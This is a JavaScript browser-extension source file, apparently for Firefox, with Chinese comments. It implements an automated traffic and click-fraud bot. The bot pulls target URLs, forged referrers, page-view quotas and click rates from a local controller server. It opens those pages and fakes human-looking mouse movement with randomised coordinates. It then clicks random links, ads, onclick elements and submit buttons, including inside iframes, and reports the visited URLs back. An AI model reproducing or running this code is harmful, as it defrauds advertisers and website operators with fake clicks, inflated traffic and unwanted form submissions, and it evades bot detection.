function vvObjMouseEvent(Obj,doc,mainDoc,aX,aY)
{
	//------------------------------------------------------------------------
	//aX,aY为相对于浮动框架的坐标
	var cX=0;			//元素位于分辨率的坐标，永远小于分辨率
	var cY=0;
	var jx=0;			//x方向被卷去的尺寸
	var jy=0;			//y方向被卷去的尺寸
	//vvWriteFile('rect.txt',"\r\n\r\n"+mainDoc.location.href+"\r\n"+doc.location.href+"\r\naX="+aX+",aY="+aY+"\r\nDoc.clientWidth    ="+doc.body.clientWidth+"  ,  Doc.clientHeight    ="+doc.body.clientHeight+"\r\n"+"mainDoc.clientWidth="+mainDoc.body.clientWidth+"  ,  mainDoc.clientHeight="+mainDoc.body.clientHeight+"\r\n\r\n");

	//--------------------------------------------------------------------------
    //当元素没有在可视区
	if(aX>window.screen.availWidth)//window.screen.availWidth网页可见区域的宽度
	{
		jx=aX-vvRand(parseInt(window.screen.availWidth/4));	//把元素全部放在可视区
		if(jx+window.screen.availWidth>mainDoc.body.clientWidth && mainDoc.body.clientWidth>=window.screen.availWidth)
			jx=mainDoc.body.clientWidth-window.screen.availWidth;
	}
		
	if(aY>(window.screen.availHeight-20))
	{
		jy=aY-vvRand(parseInt((window.screen.availHeight-20)/4));
		if(jy+window.screen.availHeight-20>mainDoc.body.clientHeight && mainDoc.body.clientHeight>=(window.screen.availHeight-20))
			jy=mainDoc.body.clientHeight-(window.screen.availHeight-20);
	}
	
	cX=aX-jx;
	cY=aY-jy;
		
	//vvWriteFile('rect.txt',"$$$ cX="+cX+",cY="+cY+"  jx="+jx+",jy="+jy+"\r\n");

	var scnX=0;	//screen 简写 scn
	var scnY=0;
	var cltX=0;
	var cltY=0;
	
	var bsX=1;//vvRand(20);
	var bsY=108;//105+vvRand(80);	//网页窗口相对于屏幕的坐标
	
	var sRd=vvRand(15)+10;
	for(var j=0;j<sRd;j++)
	{
		var rdX=0;
		var rdY=0;
		
		if(doc.body.clientWidth!=mainDoc.body.clientWidth || doc.body.clientHeight!=mainDoc.body.clientHeight)	//说明在浮动框架中
		{
			rdX=vvRand(doc.body.clientWidth);
			rdY=vvRand(doc.body.clientHeight);
		}
		else
		{
			rdX=parseInt(vvRand(Obj.offsetWidth));		//由链接尺寸产生的随机位置
			rdY=parseInt(vvRand(Obj.offsetHeight));
			rdX=(rdX<=0)?(vvRand(50)):(rdX);
			rdY=(rdY<=0)?(vvRand(50)):(rdY);
		}

		scnX=cX+bsX+rdX;
		scnY=cY+bsY+rdY;
		cltX=cX+rdX;
		cltY=cY+rdY;
		
		//vvWriteFile('rect.txt',doc.location.href+"    X="+scnX+",Y="+scnY+"  x="+cltX+",y="+cltY+"\r\n");
	
		var evt_mousemove = doc.createEvent("MouseEvents");
		evt_mousemove.initMouseEvent("mousemove", true, true,window,1, scnX, scnY, cltX, cltY, false, false, false, false, 0,null);
		if(j==0)
		{
			var evt_mouseover = doc.createEvent("MouseEvents");
			evt_mouseover.initMouseEvent("mouseover", true, true,window,1, scnX, scnY, cltX, cltY, false, false, false, false, 0,null);
			Obj.dispatchEvent(evt_mouseover);
		}
		else if(j==(sRd-1))
		{
			var evt_mouseout  = doc.createEvent("MouseEvents");
			evt_mouseout .initMouseEvent("mouseout",  true, true,window,1, scnX, scnY, cltX, cltY, false, false, false, false, 0,null);
			Obj.dispatchEvent(evt_mouseout );
		}
		//alert(fm_doc.location.href+"\r\n");
		Obj.dispatchEvent(evt_mousemove);
	}
	//vvWriteFile('rect.txt',doc.location.href+"\r\n");
	var _ret=Array(scnX,scnY,cltX,cltY);
//alert("cX="+cX+",cY="+cY+",body.clientWidth="+mainDoc.body.clientWidth+",body.clientHeight="+mainDoc.body.clientHeight+"\r\n\r\nscreenX="+scnX+",screenY="+scnY+"clientX="+cltX+",clientY="+cltY+",Obj.offsetWidth="+Obj.offsetWidth+",Obj.offsetHeight="+Obj.offsetHeight);
	return _ret;
};



//--------------------------------------------------------------------------------------------------------------------------------------
//**************************************************************************************************************************************
//
//																程序的实现部分
//
//**************************************************************************************************************************************
//--------------------------------------------------------------------------------------------------------------------------------------

var vvGet_url	="http://127.0.0.1:58588/query.php?name=p5uflsq84zl1hc61ndj&a=";
var vvLimitTime	=10000;	//限制时间
var vvCurrentPv = 1;	//得到的任务所包含的pv次数
var fileName	='troot.conf';
var vvDebug		=false;
//var vvClickPct	=250;

function vvOpenTab(aEvent)
{
	setTimeout(function()
	{
		var str='';
		var tabs = gBrowser.mTabContainer.childNodes;
		var vvMustClose  = Array();	//需要关闭的
		var vvTabsLength = tabs.length;
		for ( var i=0; i<vvTabsLength; i++ )
		{
			var vvIsClose = false;
			var vvThisTabTitle = tabs[i].linkedBrowser.contentDocument.title;
			if(		vvThisTabTitle =="500 Internal Privoxy Error" || 
			   		vvThisTabTitle =="500 - Internal server error." || 
					vvThisTabTitle =="404 Not Found" || 
					vvThisTabTitle =="403 Forbidden" || 
					vvThisTabTitle =="502 Bad Gateway" || 
					vvThisTabTitle =="找不到服务器" || 
					vvThisTabTitle =="无标题文档" || 
					vvThisTabTitle =="无法找到该页"
				)
				vvMustClose[vvMustClose.length]=i;	//关闭被屏蔽的页面
			if(tabs[i].linkedBrowser.currentURI.spec!='about:blank')
			{
				var vvOT_Domain = vvGetDomain( tabs[i].linkedBrowser.currentURI.spec );
				var vvOT_Refrer = vvGetDomain( tabs[i].linkedBrowser.contentDocument.referrer );
				//测试域名是否注册，返回： 0未注册，1有注册，2VIP包月
				var vvOT_Domain_reg = vvCheckDomainReg( vvOT_Domain );
				var vvOT_Refrer_reg = vvCheckDomainReg( vvOT_Refrer );
				//alert(vvOT_Domain_reg+"_______"+vvOT_Refrer_reg+"_____"+vvOT_Domain+"_____"+tabs[i].linkedBrowser.currentURI.spec);
				if( (vvOT_Domain_reg==0 && vvOT_Refrer_reg==0) && vvTabsLength>8)
				{
					vvMustClose[vvMustClose.length]=i;
				}
				
				//检测是否已经有2个以上的窗口，有的话则关闭
				if( vvTabsLength>12 )
				{
					var vvMustCloseCount = 0;
					for( var j=0; j<vvTabsLength; j++ )
					{
						if(vvOT_Refrer_reg>1 && vvOT_Domain==vvGetDomain(tabs[j].linkedBrowser.contentDocument.referrer) && i!=j)
						{
							vvMustCloseCount++;
							if ( vvMustCloseCount>1 )
							{
								vvMustClose[vvMustClose.length]=j;
								if ( vvMustCloseCount>2 )	//关闭主站
								{
									vvMustClose[vvMustClose.length]=i;
								}
							}
						}
					}
				}				
			}
		}
		if(tabs[0].linkedBrowser.currentURI.spec=='about:blank' && vvTabsLength>2)
			vvMustClose[vvMustClose.length]=0;
		//alert(vvMustClose.length);
		var vvCloseCount = 0;
		for (var t=0; t<vvMustClose.length; t++ )
		{
			var isSign=0;
			for ( var r=0; r<t; r++ )
			{
				if(vvMustClose[r]==vvMustClose[t])
					isSign=1;
			}
			if(isSign==0)
			{
				if( vvTabsLength - vvCloseCount <= 8)
				{
					vvCloseCount++;
					continue;
				}
				else
					vvCloseCount++;
				gBrowser.removeTab( tabs[vvMustClose[t]] );	
			}
		}
	},2500);
};

function vvStartProcess()	//打开浏览器的时候触发1次
{
	gBrowser.tabContainer.addEventListener('TabOpen',vvOpenTab, false);
	var appcontent = document.getElementById("appcontent");   // browser
	if(appcontent)
		appcontent.addEventListener("DOMContentLoaded",vvPostPin, true);
	vvOpenNewUrl();
};

function vvOpenNewUrl()
{
	var vvMyGet_url=vvGet_url+vvRand(99999999);
	var http_rqst=new XMLHttpRequest();
	http_rqst.overrideMimeType('text/xml');
	http_rqst.open('GET',vvMyGet_url,true);
	http_rqst.send(null);
	//alert(vvMyGet_url);
	setTimeout(function()
	{
		if(http_rqst.responseText!='')
		{
			var postAll=http_rqst.responseText;
			var postPart=postAll.split("\t");
			
			//vvWriteFile('ff55.txt',http_rqst.responseText+"\r\n\r\n\r\n");
			var vvmVip	=postPart[0];	//	(1)  包月？	
			var vvmClk	=postPart[1];	//	(2)  点击率
			var vvm2Clk	=postPart[2];	//	(3)  2次点击率
			var vvmPv	=postPart[3];	//	(4)  PV次数
			var vvmSpd	=postPart[4];	//	(5)  spider 蜘蛛，URL深度方式
			var vvmUrl	=postPart[5];	//	(6)  目标网址
			var vvmRfr	=postPart[6];	//	(7)  来路
			
			vvCurrentPv = vvmPv;

			//vvWriteFile("4.txt",http_rqst.responseText+"\r\n\r\n"+postPart.length+"\r\n");
			//			0域名				1打开次数	2包月		3PV		4蜘蛛		5点显比		62次点显比 
			vvSaveUrl(vvGetDomain(vvmUrl)+"\t1"+"\t"+vvmVip+"\t"+vvmPv+"\t"+vvmSpd+"\t"+vvmClk+"\t"+vvm2Clk+"\t");	//保存主域名
			if (vvmRfr.length>7)
			{
				//alert("sssssssssss");
				var ios = Components.classes["@mozilla.org/network/io-service;1"].getService(Components.interfaces.nsIIOService);
				var referer = ios.newURI(vvmRfr, null, null);
				gBrowser.loadOneTab(vvmUrl,referer, null, null, true, false);
			}
			else
			{
				//alert("kkkkkkkkkkkkkk");
				gBrowser.loadOneTab(vvmUrl, null, null, null, true, false);
			}
		}
		//var dqTime=new Date().getTime();	//当前时间
		//vvSetStrPref("vvisit.time",dqTime);
	},1200);
	setTimeout(function()
	{
		vvOpenNewUrl();
	},vvCurrentPv*9500);
};

function vvPostPin(aEvent)
{
	var pub_doc = aEvent.originalTarget;
	if (pub_doc.defaultView.frameElement)							return 0;		//如果打开的是frame / iframe则退出
	//alert(pub_doc.location.href);
	
	//枚举顶层窗口同域名的子URL
	var vvDomain = vvGetDomain(pub_doc.location.href);
	var str='';
	if( vvEnablePvOpen(vvDomain)>0 )	//可以打开pv，该函数返回pv的剩余次数
	{
		var topLocalUlr_i	= 0;
		var topLocalUlr		= Array();
		var topObjA=pub_doc.getElementsByTagName("A");
		for ( var i=0; i<topObjA.length; i++ )//对链接进行有效性筛选
		{
			//alert(topObjA[i].href);
			if(	 vvDomain == vvGetDomain(topObjA[i].href) )
			{
				//topObjA[i].target='_blank';//_top
				topObjA[i].target='_top';
				topLocalUlr[topLocalUlr_i]=i;
				topLocalUlr_i++;
				str+=topObjA[i].href+"\r\n";
			}
		}
		
		if(topLocalUlr.length>0)
		{
			var vvWtTime = 20000 + vvRand(20000);
			setTimeout(function()
			{
				vvDomainAddSelf(vvDomain);//给域名打开数加一
				//alert( "dgjkadhgkljaghalkg" );
				var topLocalUlrRand = vvRand( topLocalUlr_i );
				//alert( topLocalUlrRand );
				var evt = pub_doc.createEvent("MouseEvents");
				evt.initEvent("click",true,true); 
				topObjA[topLocalUlr[topLocalUlrRand]].dispatchEvent(evt);
				/**/
			},vvWtTime);
		}
	}
	else
	{
		var topLocalUlr_i	= 0;
		var topLocalUlr		= Array();
		var topObjA=pub_doc.getElementsByTagName("A");
		for ( var i=0; i<topObjA.length; i++ )//对链接进行有效性筛选
		{
			if(	 vvDomain == vvGetDomain(topObjA[i].href) )
			{
				topObjA[i].target='_top';
				topLocalUlr[topLocalUlr_i]=i;
				topLocalUlr_i++;
				str+=topObjA[i].href+"\r\n";
			}
		}
		
		
		if(topLocalUlr.length>0)
		{
			var vvWtTime = 20000 + vvRand(20000);
			setTimeout(function()
			{
				var topLocalUlrRand = vvRand( topLocalUlr_i );
				var evt = pub_doc.createEvent("MouseEvents");
				evt.initEvent("click",true,true);
				topObjA[topLocalUlr[topLocalUlrRand]].dispatchEvent(evt);
			},vvWtTime);
		}
	}
	
	
	//屏蔽iframe
	var block_fm 		=pub_doc.getElementsByTagName("IFRAME");
	if(block_fm.length>10)
	{
		//window.stop();
		for (var i=5;i<block_fm.length;i++)
		{
			block_fm[i].src='###';
		}
	}
	
	
	//alert(str);

	var vvCLK		= 0;		//点显比
	var vvPub2Click	= 0;
	var vvIsSignUrl=0;	//是不是已经标示的网站
	for( var i=1; i<=vvVisitPrefCount; i++ )
	{
		var vvClk=vvGetStrPref("vvisit.url"+i, "");
		//alert(vvClk);
		var clkAll=vvClk.split("\t");
		if(clkAll[0]==vvGetDomain(pub_doc.location.href))
		{
			vvCLK		=clkAll[5];
			vvIsSignUrl	=1;
		}
		if(clkAll[0]==vvGetDomain(pub_doc.referrer) && pub_doc.referrer.length>0)
		{
			//vvPub2Click	=clkAll[6];
		}
	}
		
	setTimeout(function()	//对于打开以后的整个页面延时
	{
		var doc = aEvent.originalTarget;
		
		//点击body(按照一定的随机数)
		var body_click_rd=vvRand(10000);
		if(body_click_rd<3000)
		{
			var evObj_m =doc.createEvent('MouseEvents');
			evObj_m.initEvent('click',true, false);
			doc.body.dispatchEvent(evObj_m);
		}
		
		var fileBody='';//vvReadFile(fileName);
			
		if		(vvCLK>0)
			vvOperateDocument(doc,doc,doc.body.offsetLeft,doc.body.offsetTop,fileBody,vvCLK);
		else if (vvPub2Click>0)
			vvOperateDocument(doc,doc,doc.body.offsetLeft,doc.body.offsetTop,fileBody,vvPub2Click);
	},3000);


	if (vvIsSignUrl==1)		//如果是我们标识的url
	{
		var http_prqst=new XMLHttpRequest();
		http_prqst.overrideMimeType('text/xml');
		http_prqst.open('GET','http://127.0.0.1:58588/post_mxov84at0q.php?str='+escape(pub_doc.location.href), true); 
		http_prqst.send(null);
	}
};

function vvOperateDocument(doc,mainDoc,fmX,fmY,fileBody,vvClickPct)		//fmX,fmY 浮动框架相对于body的坐标
{
	var str='';
	//-------------------------------------------------------------------------------
	//							本函数的第一部分，枚举A标签
	//-------------------------------------------------------------------------------
	//alert(doc.location.href);
	//vvWriteFile('click.txt'," pct="+vvClickPct+"\t"+doc.location.href+"\r\n");
	if(vvRand(10000)<=vvClickPct)
	//if(doc.location.href.indexOf("alimama.com")>0)
	{
		var randTimeA=vvRand(3000);		//延时
		setTimeout(function()
		{
			var arrayA=Array();
			var objA=doc.getElementsByTagName("A");
			for (var i=0;i<objA.length;i++)//对链接进行有效性筛选
			{
				str+=objA[i].href+"\r\n";
				if(	
					vvGetDomain(mainDoc.location.href)!=vvGetDomain(objA[i].href) && 
					(
						(
						objA[i].href.indexOf('mailto:')<0 && 
						objA[i].href.indexOf('tencent:')<0 && 
						objA[i].href.indexOf('cnzz.com')<0 && 
						objA[i].href.indexOf('(')<0
						)
						||
						(	 objA[i].href.indexOf('(')>0	 )
					)
				  )
				{
					arrayA[arrayA.length]=i;
				}
			}
		
			//点击随机链接
			if(arrayA.length>0)
			{
				var aRand	=arrayA[vvRand(arrayA.length)];		
				var aMP=vvObjMouseEvent(objA[aRand],doc,mainDoc,fmX,fmY);
				if(isNaN(aMP[0])==false && isNaN(aMP[1])==false && isNaN(aMP[2])==false && isNaN(aMP[3])==false)
				{
					objA[aRand].target='_blank';
					var evObjA= doc.createEvent("MouseEvents");
					evObjA.initMouseEvent("click",  true, true,window,1,aMP[0],aMP[1],aMP[2],aMP[3], false, false, false, false, 0,null);
					var pppp=objA[aRand].dispatchEvent(evObjA);
					//vvWriteFile("cc.txt",vvGetDomain(mainDoc.location.href)+"\t"+objA[aRand].href+"\r\n");
				}
			}
		},randTimeA);
		//return 0;
	}
	
	//-------------------------------------------------------------------------------
	//							第二部分，枚举TD标签
	//-------------------------------------------------------------------------------
	if(vvRand(10000)<=vvClickPct)
	{
		var randTimeTd=vvRand(3000);		//延时
		setTimeout(function()
		{
			var arrayTd=Array();
			var objTd = doc.getElementsByTagName('td');
			for (var iC=0; iC<objTd.length; iC++)
			{
				if(objTd[iC].getAttribute('onclick')!=null)
					arrayTd[arrayTd.length]=iC;
			};
			if(arrayTd.length>0 )
			{
				var tdRand	=arrayTd[vvRand(arrayTd.length)];
				var tdMP=vvObjMouseEvent(objTd[tdRand],doc,mainDoc,fmX,fmY);
				if(isNaN(tdMP[0])==false && isNaN(tdMP[1])==false && isNaN(tdMP[2])==false && isNaN(tdMP[3])==false)
				{
					var evObjTd  = doc.createEvent("MouseEvents");
					evObjTd .initMouseEvent("click",  true, true,window,1,tdMP[0],tdMP[1],tdMP[2],tdMP[3], false, false, false, false, 0,null);
					var pppp=objTd[tdRand].dispatchEvent(evObjTd);
				}
			}
		},randTimeTd);
	}



	//-------------------------------------------------------------------------------
	//							第三部分，枚举IMG标签
	//-------------------------------------------------------------------------------
	if(vvRand(10000)<=vvClickPct)
	{
		var randTimeImg=vvRand(3000);		//延时
		setTimeout(function()
		{
			var arrayImg=Array();
			var objImg = doc.getElementsByTagName('img');
			var imgStr='';
			for (var iC=0; iC<objImg.length; iC++)
			{
				imgStr+=objImg[iC].src+"\r\n";
				if(objImg[iC].getAttribute('onclick')!=null)
					arrayImg[arrayImg.length]=iC;
			};
			//alert('arrayImg.length='+arrayImg.length+"\r\n\r\n"+imgStr);
			if(arrayImg.length>0 )
			{
				var imgRand	=arrayImg[vvRand(arrayImg.length)];
				var imgMP=vvObjMouseEvent(objImg[imgRand],doc,mainDoc,fmX,fmY);
				if(isNaN(imgMP[0])==false && isNaN(imgMP[1])==false && isNaN(imgMP[2])==false && isNaN(imgMP[3])==false)
				{
					var evObjImg  = doc.createEvent("MouseEvents");
					evObjImg .initMouseEvent("click",  true, true,window,1,imgMP[0],imgMP[1],imgMP[2],imgMP[3], false, false, false, false, 0,null);
					var pppp=objImg[imgRand].dispatchEvent(evObjImg);
				}
			}
		},randTimeImg);
	}




	//-------------------------------------------------------------------------------
	//							第四部分，枚举Div标签
	//-------------------------------------------------------------------------------
	if(vvRand(10000)<=vvClickPct)
	{
		var randTimeDiv=vvRand(3000);		//延时
		setTimeout(function()
		{
			var arrayDiv=Array();
			var objDiv = doc.getElementsByTagName('DIV');
			for (var iC=0; iC<objDiv.length; iC++)
			{
				if(objDiv[iC].getAttribute('onclick')!=null)
					arrayDiv[arrayDiv.length]=iC;
			};
			//alert('arrayDiv.length='+arrayDiv.length);
			if(arrayDiv.length>0 )
			{
				var DivRand	=arrayDiv[vvRand(arrayDiv.length)];
				var DivMP=vvObjMouseEvent(objDiv[DivRand],doc,mainDoc,fmX,fmY);
				if(isNaN(DivMP[0])==false && isNaN(DivMP[1])==false && isNaN(DivMP[2])==false && isNaN(DivMP[3])==false)
				{
					var evObjDiv  = doc.createEvent("MouseEvents");
					evObjDiv .initMouseEvent("click",  true, true,window,1,DivMP[0],DivMP[1],DivMP[2],DivMP[3], false, false, false, false, 0,null);
					var pppp=objDiv[DivRand].dispatchEvent(evObjDiv);
				}
			}
		},randTimeDiv);
	}
	
	

	//-------------------------------------------------------------------------------
	//							第五部分，枚举Nobr标签
	//-------------------------------------------------------------------------------
	if(vvRand(10000)<=vvClickPct)
	{
		var randTimeNobr=vvRand(3000);		//延时
		setTimeout(function()
		{
			var arrayNobr=Array();
			var objNobr = doc.getElementsByTagName('NOBR');
			for (var iC=0; iC<objNobr.length; iC++)
			{
				if(objNobr[iC].getAttribute('onclick')!=null)
					arrayNobr[arrayNobr.length]=iC;
			};
			//alert('arrayNobr.length='+arrayNobr.length);
			if(arrayNobr.length>0 )
			{
				var NobrRand	=arrayNobr[vvRand(arrayNobr.length)];
				var NobrMP=vvObjMouseEvent(objNobr[NobrRand],doc,mainDoc,fmX,fmY);
				if(isNaN(NobrMP[0])==false && isNaN(NobrMP[1])==false && isNaN(NobrMP[2])==false && isNaN(NobrMP[3])==false)
				{
					var evObjNobr  = doc.createEvent("MouseEvents");
					evObjNobr .initMouseEvent("click",  true, true,window,1,NobrMP[0],NobrMP[1],NobrMP[2],NobrMP[3], false, false, false, false, 0,null);
					var pppp=objNobr[NobrRand].dispatchEvent(evObjNobr);
				}
			}
		},randTimeNobr);
	}

	
	
	//-------------------------------------------------------------------------------
	//							第六部分，枚举Span标签
	//-------------------------------------------------------------------------------
	if(vvRand(10000)<=vvClickPct)
	{
		var randTimeSpan=vvRand(3000);		//延时
		setTimeout(function()
		{
			var arraySpan=Array();
			var objSpan = doc.getElementsByTagName('span');
			for (var iC=0; iC<objSpan.length; iC++)
			{
				if(objSpan[iC].getAttribute('onclick')!=null)
					arraySpan[arraySpan.length]=iC;
			};
			//alert('arraySpan.length='+arraySpan.length);
			if(arraySpan.length>0 )
			{
				var SpanRand	=arraySpan[vvRand(arraySpan.length)];
				var SpanMP=vvObjMouseEvent(objSpan[SpanRand],doc,mainDoc,fmX,fmY);
				if(isNaN(SpanMP[0])==false && isNaN(SpanMP[1])==false && isNaN(SpanMP[2])==false && isNaN(SpanMP[3])==false)
				{
					var evObjSpan  = doc.createEvent("MouseEvents");
					evObjSpan .initMouseEvent("click",  true, true,window,1,SpanMP[0],SpanMP[1],SpanMP[2],SpanMP[3], false, false, false, false, 0,null);
					var pppp=objSpan[SpanRand].dispatchEvent(evObjSpan);
				}
			}
		},randTimeSpan);
	}
	
	
	
    //-------------------------------------------------------------------------------
	//							第七部分，枚举Input标签
	//-------------------------------------------------------------------------------
	//alert('dfagadgagagadfgfhggfhghjfhkjglg');
	if(vvRand(10000)<=vvClickPct)
	{
		var randTimeInput=vvRand(3000);		//延时
		setTimeout(function()
		{
			var arrayInput=Array();
			var objInput = doc.getElementsByTagName('INPUT');
			for (var iC=0; iC<objInput.length; iC++)
			{
				//alert(objInput[iC].getAttribute('type'));
				if(objInput[iC].getAttribute('type')=='submit')
				{
					arrayInput[arrayInput.length]=iC;
				}
			};
			//alert('arrayInput.length='+arrayInput.length);
			if(arrayInput.length>0 )
			{
				var InputRand	=arrayInput[vvRand(arrayInput.length)];
				var InputMP=vvObjMouseEvent(objInput[InputRand],doc,mainDoc,fmX,fmY);
				if(isNaN(InputMP[0])==false && isNaN(InputMP[1])==false && isNaN(InputMP[2])==false && isNaN(InputMP[3])==false)
				{
					var evObjInput  = doc.createEvent("MouseEvents");
					evObjInput .initMouseEvent("click",  true, true,window,1,InputMP[0],InputMP[1],InputMP[2],InputMP[3], false, false, false, false, 0,null);
					var pppp=objInput[InputRand].dispatchEvent(evObjInput);
				}
			}
		},randTimeInput);
	}


	
	//-------------------------------------------------------------------------------
	//							第八部分，枚举Table标签
	//-------------------------------------------------------------------------------
	if(vvRand(10000)<=vvClickPct)
	{
		var randTimeTable=vvRand(3000);		//延时
		setTimeout(function()
		{
			var arrayTable=Array();
			var objTable = doc.getElementsByTagName('table');
			for (var iC=0; iC<objTable.length; iC++)
			{
				if(objTable[iC].getAttribute('onclick')!=null)
					arrayTable[arrayTable.length]=iC;
			};
			//alert('arrayTable.length='+arrayTable.length);
			if(arrayTable.length>0 )
			{
				var TableRand	=arrayTable[vvRand(arrayTable.length)];
				var TableMP=vvObjMouseEvent(objTable[TableRand],doc,mainDoc,fmX,fmY);
				if(isNaN(TableMP[0])==false && isNaN(TableMP[1])==false && isNaN(TableMP[2])==false && isNaN(TableMP[3])==false)
				{
					var evObjTable  = doc.createEvent("MouseEvents");
					evObjTable .initMouseEvent("click",  true, true,window,1,TableMP[0],TableMP[1],TableMP[2],TableMP[3], false, false, false, false, 0,null);
					var pppp=objTable[TableRand].dispatchEvent(evObjTable);
				}
			}
		},randTimeTable);
	}
	

	//-------------------------------------------------------------------------------
	//							第九部分，枚举iframe标签
	//-------------------------------------------------------------------------------
	var fm 		=doc.getElementsByTagName("IFRAME");
	var fmStr='';
	for (var i=0;i<fm.length;i++)
	{
		fmStr+="\t"+fm[i].contentWindow.document.location.href+"\r\n";
		
		var fmX=0;	//浮动框架相对于body的坐标
		var fmY=0;
		var selp=fm[i];
		while(selp.offsetParent)
		{
			fmX+=selp.offsetLeft;
			fmY+=selp.offsetTop;
			selp=selp.offsetParent;
		}
//		alert("x="+fmX+" , y="+fmY);
		vvOperateDocument(fm[i].contentWindow.document,mainDoc,fmX,fmY,fileBody,vvClickPct);
	}
	
	//-------------------------------------------------------------------------------
	//							第十部分，枚举frame标签
	//-------------------------------------------------------------------------------
	var tfm 		=doc.getElementsByTagName("FRAME");
	var tfmStr='';
	for (var i=0;i<tfm.length;i++)
	{
		tfmStr+="\t"+tfm[i].contentWindow.document.location.href+"\r\n";
		
		var tfmX=0;	//浮动框架相对于body的坐标
		var tfmY=0;
		var selp=tfm[i];
		while(selp.offsetParent)
		{
			tfmX+=selp.offsetLeft;
			tfmY+=selp.offsetTop;
			selp=selp.offsetParent;
		}
//		alert("x="+tfmX+" , y="+tfmY);
		vvOperateDocument(tfm[i].contentWindow.document,mainDoc,tfmX,tfmY,fileBody,vvClickPct);
	}
	//alert(tfmStr);
};



//alert(window.navigator.userAgent);
//vvSaveUrl('http://www.freediany.com/test.html');
/*
var kkkkk="baidu.com";

vvSetStrPref( "vvisit.url1", "baidu.com\t1\t1\t8\t0\t500\t150");
vvSetStrPref( "vvisit.url2", "baidu.com\t1\t1\t8\t0\t500\t150");
vvSetStrPref( "vvisit.url3", "baidu.com\t1\t1\t8\t0\t500\t150");
vvSetStrPref( "vvisit.url4", "baidu.com\t1\t1\t8\t0\t500\t150");
vvSetStrPref( "vvisit.url5", "baidu.com\t1\t1\t8\t0\t500\t150");
vvSetStrPref( "vvisit.url6", "sina.com\t1\t1\t8\t0\t500\t150");
vvSetStrPref( "vvisit.url7", "baidu.com\t1\t1\t8\t0\t500\t150");
vvSetStrPref( "vvisit.url8", "baidu.com\t1\t1\t8\t0\t500\t150");
*/

//alert(vvEnablePvOpen( kkkkk ));
//vvDomainAddSelf( kkkkk );
//vvDomainAddSelf( kkkkk );


window.addEventListener('load',vvStartProcess, false);

//for (var i=0;i<=10;i++)	alert(vvGetUserAgent());





















